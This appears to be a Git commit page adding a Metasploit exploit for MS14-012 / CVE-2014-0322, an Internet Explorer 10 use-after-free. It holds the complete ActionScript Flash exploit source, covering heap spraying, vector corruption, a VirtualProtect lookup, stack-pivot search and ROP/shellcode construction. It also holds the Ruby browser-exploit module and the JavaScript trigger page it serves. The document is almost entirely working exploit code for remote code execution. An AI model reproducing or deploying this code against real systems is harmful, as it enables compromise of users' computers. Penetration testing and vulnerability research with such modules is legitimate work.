Land #3266 - MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
commit
d7a63003a3
Binary file not shown.
|
@ -0,0 +1,519 @@
|
|||
/*
|
||||
* MS14-012 Internet Explorer CMarkup Use-After-Free
|
||||
* Vendor Homepage: http://www.microsoft.com
|
||||
* Version: IE 10
|
||||
* Date: 2014-03-31
|
||||
* Exploit Author: Jean-Jamil Khalife
|
||||
* Tested on: Windows 7 SP1 x64 (fr, en)
|
||||
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
|
||||
* Home: http://www.hdwsec.fr
|
||||
* Blog : http://www.hdwsec.fr/blog/
|
||||
* MS14-012 / CVE-2014-0322
|
||||
*
|
||||
* Generation:
|
||||
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
|
||||
*
|
||||
*/
|
||||
|
||||
package
|
||||
{
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.display.*;
|
||||
import flash.events.*;
|
||||
import flash.external.*;
|
||||
import flash.media.*;
|
||||
import flash.net.*;
|
||||
import flash.text.*;
|
||||
import flash.utils.*;
|
||||
import Math;
|
||||
import flash.system.Security;
|
||||
import flash.external.ExternalInterface;
|
||||
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
|
||||
public class AsXploit extends Sprite
|
||||
{
|
||||
public var s:Vector.<Object>;
|
||||
public var spraysound:Vector.<Object>;
|
||||
public var myTimer:Timer;
|
||||
public var sound:Sound;
|
||||
public var shellcodeObj:Array;
|
||||
|
||||
/*
|
||||
* Prepare the heap
|
||||
* Trigger the vulnerability
|
||||
* Exploit :)
|
||||
*/
|
||||
public function AsXploit()
|
||||
{
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
|
||||
|
||||
/* Prepare the heap */
|
||||
init_heap();
|
||||
|
||||
/* Trigger the vulnerability */
|
||||
ExternalInterface.call("trigger");
|
||||
|
||||
/* Check every second if the vulnerability has triggered */
|
||||
myTimer = new Timer(1000, 114096);
|
||||
myTimer.addEventListener("timer", timerHandler);
|
||||
myTimer.start();
|
||||
}
|
||||
|
||||
/* Prepare the heap
|
||||
* Spray aligned vector & sound objects
|
||||
*/
|
||||
public function init_heap():void
|
||||
{
|
||||
var len:int = 0;
|
||||
var i:int = 0;
|
||||
|
||||
/* Spray the integer array */
|
||||
this.s = new Vector.<Object>(0x18180);
|
||||
while (len < 0x18180)
|
||||
{
|
||||
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
|
||||
for (i=0; i < this.s[len].length; i++)
|
||||
{
|
||||
this.s[len][i] = 0x1a1a1a1a;
|
||||
}
|
||||
|
||||
++len;
|
||||
}
|
||||
|
||||
/* Spray sound object ptr */
|
||||
this.sound = new Sound();
|
||||
this.spraysound = new Vector.<Object>(0x100);
|
||||
|
||||
len = 0;
|
||||
while (len < 0x100)
|
||||
{
|
||||
this.spraysound[len] = new Vector.<Object>(0x1234);
|
||||
for (i=0; i < this.spraysound[len].length; i++)
|
||||
{
|
||||
this.spraysound[len][i] = this.sound;
|
||||
}
|
||||
++len;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Read an INT value in memory
|
||||
*/
|
||||
public function readInt(u1:int, u2:int, mod:uint):int
|
||||
{
|
||||
var valres:uint = 0;
|
||||
|
||||
if (mod == 1){
|
||||
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
|
||||
}
|
||||
else if (mod == 2){
|
||||
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
|
||||
}
|
||||
else if (mod == 3){
|
||||
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
|
||||
}
|
||||
else
|
||||
{
|
||||
valres = u1;
|
||||
}
|
||||
|
||||
return valres;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Search a stack pivot dynamically
|
||||
* baseflashaddr_off: flash dll base address offset
|
||||
* index: index of vectors table
|
||||
* offset: offset to get the Stackpivot RVA
|
||||
*/
|
||||
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
|
||||
{
|
||||
var sp:uint = 0;
|
||||
var sn:uint = 0;
|
||||
var secname:uint = 0;
|
||||
var sec:uint = 0;
|
||||
var peindex:uint = 0;
|
||||
var virtualSize:uint = 0;
|
||||
var virtualAddr:uint = 0;
|
||||
var i:uint = 0;
|
||||
|
||||
/* Find .text */
|
||||
peindex = this.s[index][baseflashaddr_off+0x3C/4];
|
||||
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
|
||||
|
||||
/* Find 0xC394 */
|
||||
for (sec=0; sec < sn; sec++)
|
||||
{
|
||||
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
|
||||
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
|
||||
{
|
||||
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
|
||||
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
|
||||
|
||||
/* Find a stack pivot */
|
||||
for (i=0; i < virtualSize/4; i++)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
|
||||
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
|
||||
{
|
||||
sp = virtualAddr + i*4 + 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4 + 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4 + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (sp != 0)
|
||||
sp = offset+sp;
|
||||
|
||||
return sp;
|
||||
}
|
||||
|
||||
/*
|
||||
* Build & Insert the stack pivot + ROP + Shellcode
|
||||
* Corrupt sound object vtable ptr
|
||||
* baseflashaddr_off: flash dll address offset
|
||||
* index: vectors table index
|
||||
* cvaddr: corrupted vector address
|
||||
* virtualprotectaddr: virtual protect address
|
||||
* sp: stack pivot address
|
||||
*/
|
||||
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
|
||||
{
|
||||
var dec:uint = 0;
|
||||
var soundobjref:uint = 0;
|
||||
var soundobjaddr:uint = 0;
|
||||
var sh:uint=0x300;
|
||||
var i:uint = 0;
|
||||
|
||||
/* Corrupt sound object vtable ptr */
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
|
||||
{
|
||||
soundobjref = this.s[index][j+0x0A];
|
||||
dec = soundobjref-cvaddr-1;
|
||||
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
|
||||
break;
|
||||
}
|
||||
|
||||
j++;
|
||||
}
|
||||
|
||||
/* Stack pivot */
|
||||
for (i=0; i < 0x200; i++)
|
||||
this.s[index][i] = sp;
|
||||
|
||||
/* ROP */
|
||||
this.s[index][0] = 0x41414141;
|
||||
this.s[index][1] = 0x41414141;
|
||||
this.s[index][2] = 0x41414141;
|
||||
this.s[index][3] = 0x41414141;
|
||||
this.s[index][4] = virtualprotectaddr;
|
||||
this.s[index][5] = cvaddr+0xC00+8;
|
||||
this.s[index][6] = cvaddr;
|
||||
this.s[index][7] = 0x4000;
|
||||
this.s[index][8] = 0x40;
|
||||
this.s[index][9] = 0x1a002000;
|
||||
|
||||
/* Shellcode */
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
this.s[index][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Get flash module base address
|
||||
* index: index of vectors table
|
||||
* cvaddr: corrupted vector address
|
||||
*/
|
||||
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
|
||||
{
|
||||
var baseflashaddr_off:uint = 0;
|
||||
var j:int = 0;
|
||||
var k:int = 0;
|
||||
var kmax:uint = 0;
|
||||
var vtableobj:int = 0;
|
||||
var ocxinfo:Array = new Array();
|
||||
|
||||
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][j] == 0x00010c00)
|
||||
{
|
||||
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
|
||||
|
||||
/* Get ocx base address */
|
||||
k = 0;
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
|
||||
{
|
||||
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
|
||||
ocxinfo[0] = baseflashaddr_off;
|
||||
ocxinfo[1] = j;
|
||||
ocxinfo[2] = k;
|
||||
ocxinfo[3] = vtableobj;
|
||||
|
||||
return ocxinfo;
|
||||
}
|
||||
|
||||
k = k + 0x1000;
|
||||
}
|
||||
}
|
||||
|
||||
j = j + 0x1;
|
||||
}
|
||||
|
||||
return ocxinfo;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find kernel32.dll index
|
||||
* index: index of vectors table
|
||||
* baseflashaddr_off: flash dll address offset
|
||||
* importsindex: offset to the imports table
|
||||
*/
|
||||
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
|
||||
{
|
||||
var nameindex:uint = 0;
|
||||
var dllname:int = 0;
|
||||
var nameaddr:int = 0;
|
||||
|
||||
do
|
||||
{
|
||||
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
|
||||
|
||||
/* kernel32.dll not found */
|
||||
if (nameaddr == 0x0)
|
||||
break;
|
||||
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
|
||||
/* Check kernel32.dll */
|
||||
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
|
||||
{
|
||||
nameaddr = nameaddr + 4;
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
if (dllname == 0x32336C65 || dllname == 0x32334C45)
|
||||
{
|
||||
nameaddr = nameaddr + 4;
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
|
||||
{
|
||||
return nameindex;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Next dll */
|
||||
nameindex = nameindex + 0x14;
|
||||
}
|
||||
while (1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get VirtualProtectStub() addr
|
||||
*/
|
||||
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
|
||||
{
|
||||
var fct_addr:uint = 0;
|
||||
var fct_name:uint = 0;
|
||||
var fct_name_struct:uint = 0;
|
||||
|
||||
do
|
||||
{
|
||||
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
|
||||
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
|
||||
|
||||
/* VirtualProtectStub() not found */
|
||||
if (fct_addr == 0 || fct_name_struct == 0)
|
||||
break;
|
||||
|
||||
if ((fct_name_struct & 0x80000000) != 0x80000000)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 2;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
|
||||
/* Check VirtualProtect */
|
||||
if (fct_name == 0x74726956 || fct_name == 0x54524956)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 4;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 4;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
|
||||
{
|
||||
return fct_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Next Function() */
|
||||
fct_addr_offset = fct_addr_offset + 0x4;
|
||||
fct_name_offset = fct_name_offset + 0x4;
|
||||
}
|
||||
while (1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get corrupted vector index
|
||||
*/
|
||||
public function getCorruptedVectorIndex():uint
|
||||
{
|
||||
var i:uint = 0;
|
||||
for (i=0; i < this.s.length; i++)
|
||||
{
|
||||
if (this.s[i].length == 0x3FFFFFFF)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
/*
|
||||
* Corrupt next vector size
|
||||
*/
|
||||
public function corruptNextVector(index:uint):uint
|
||||
{
|
||||
var j:uint = 0;
|
||||
|
||||
for (j=0; j < this.s.length; j++)
|
||||
{
|
||||
if (this.s[index][j] == 0x000003F0)
|
||||
{
|
||||
this.s[index][j] = 0x3FFFFFFF;
|
||||
|
||||
return j;
|
||||
}
|
||||
|
||||
j = j + 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Perform the exploitation
|
||||
* - Find VirtualProtect()
|
||||
* - Find a stack pivot
|
||||
* - Build payload (SP + ROP + SC)
|
||||
* - Run payload
|
||||
*/
|
||||
public function timerHandler(event:TimerEvent):void
|
||||
{
|
||||
var i:int = 0;
|
||||
var j:int = 0;
|
||||
var k:int = 0;
|
||||
|
||||
var vtableobj:int = 0;
|
||||
var peindex:int = 0;
|
||||
var importsindex:int = 0;
|
||||
var k32index:int = 0;
|
||||
var fct_name_offset:uint = 0;
|
||||
var fct_addr_offset:uint = 0;
|
||||
|
||||
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
|
||||
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
|
||||
var stackpivot:uint = 0; /* Stackpivot address */
|
||||
|
||||
var cvaddr:int = 0x1a001000; /* corrupted vector address */
|
||||
var ocxinfo:Array;
|
||||
var i2:uint = 0;
|
||||
|
||||
/* Search the corrupted vector */
|
||||
for (i=0; i < this.s.length; i++)
|
||||
{
|
||||
/* Find corrupted vector */
|
||||
if (this.s[i].length == 0x010003f0)
|
||||
{
|
||||
this.myTimer.stop();
|
||||
|
||||
/* Corrupt next vector size */
|
||||
if (corruptNextVector(i) == 0)
|
||||
return;
|
||||
|
||||
/* Find corrupted vector */
|
||||
i2 = getCorruptedVectorIndex();
|
||||
if (i2 == 0) return;
|
||||
|
||||
/* Get flash base addr */
|
||||
ocxinfo = getFlashBaseAddr(i2, cvaddr);
|
||||
if (ocxinfo.length == 0) return;
|
||||
baseflashaddr_off = ocxinfo[0];
|
||||
j = ocxinfo[1];
|
||||
k = ocxinfo[2];
|
||||
vtableobj = ocxinfo[3];
|
||||
|
||||
/* Get imports table */
|
||||
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
|
||||
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
|
||||
|
||||
/* Find kernel32.dll */
|
||||
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
|
||||
if (k32index == 0) return;
|
||||
|
||||
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
|
||||
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
|
||||
|
||||
/* Find VirtualProtectStub() addr */
|
||||
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
|
||||
if (vp_addr == 0) return;
|
||||
|
||||
/* Search Stack Pivot */
|
||||
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
|
||||
if (stackpivot == 0) return;
|
||||
|
||||
/* Build Payload */
|
||||
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
|
||||
|
||||
/* Run Payload */
|
||||
this.sound.toString();
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,200 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
|
||||
'Description' => %q{
|
||||
This module exploits an use after free condition on Internet Explorer as used in the wild
|
||||
on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
|
||||
bypass ASLR and finally DEP.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and Exploit in the wild
|
||||
'Jean-Jamil Khalife', # Exploit
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-0322' ],
|
||||
[ 'MSB', 'MS14-012' ],
|
||||
[ 'BID', '65551' ],
|
||||
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
|
||||
[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 960,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => stack_adjust
|
||||
},
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:ua_ver => '10.0',
|
||||
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
|
||||
:flash => /^12\./
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 13 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def stack_adjust
|
||||
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
|
||||
adjust
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
|
||||
fd = ::File.open( path, "rb" )
|
||||
swf = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
return swf
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Sending HTML...")
|
||||
send_exploit_html(cli, exploit_template(cli, target_info))
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
|
||||
flash_payload = ""
|
||||
get_payload(cli,target_info).unpack("V*").each do |i|
|
||||
flash_payload << "0x#{i.to_s(16)},"
|
||||
end
|
||||
flash_payload.gsub!(/,$/, "")
|
||||
|
||||
html_template = %Q|
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<script>
|
||||
|
||||
var g_arr = [];
|
||||
var arrLen = 0x250;
|
||||
|
||||
function dword2data(dword)
|
||||
{
|
||||
var d = Number(dword).toString(16);
|
||||
while (d.length < 8)
|
||||
d = '0' + d;
|
||||
|
||||
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
|
||||
}
|
||||
|
||||
function eXpl()
|
||||
{
|
||||
var a=0;
|
||||
|
||||
for (a=0; a < arrLen; a++) {
|
||||
g_arr[a] = document.createElement('div');
|
||||
}
|
||||
|
||||
var b = dword2data(0x19fffff3);
|
||||
|
||||
while (b.length < 0x360) {
|
||||
if (b.length == (0x98 / 2))
|
||||
{
|
||||
b += dword2data(0x1a000010);
|
||||
}
|
||||
else if (b.length == (0x94 / 2))
|
||||
{
|
||||
b += dword2data(0x1a111111);
|
||||
}
|
||||
else if (b.length == (0x15c / 2))
|
||||
{
|
||||
b += dword2data(0x42424242);
|
||||
}
|
||||
else
|
||||
{
|
||||
b += dword2data(0x19fffff3);
|
||||
}
|
||||
}
|
||||
|
||||
var d = b.substring(0, ( 0x340 - 2 )/2);
|
||||
|
||||
try{
|
||||
this.outerHTML=this.outerHTML
|
||||
} catch(e){
|
||||
|
||||
}
|
||||
|
||||
CollectGarbage();
|
||||
|
||||
for (a=0; a < arrLen; a++)
|
||||
{
|
||||
g_arr[a].title = d.substring(0, d.length);
|
||||
}
|
||||
}
|
||||
|
||||
function trigger()
|
||||
{
|
||||
var a = document.getElementsByTagName("script");
|
||||
var b = a[0];
|
||||
b.onpropertychange = eXpl;
|
||||
var c = document.createElement('SELECT');
|
||||
c = b.appendChild(c);
|
||||
}
|
||||
|
||||
</script>
|
||||
<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
|
||||
</embed>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue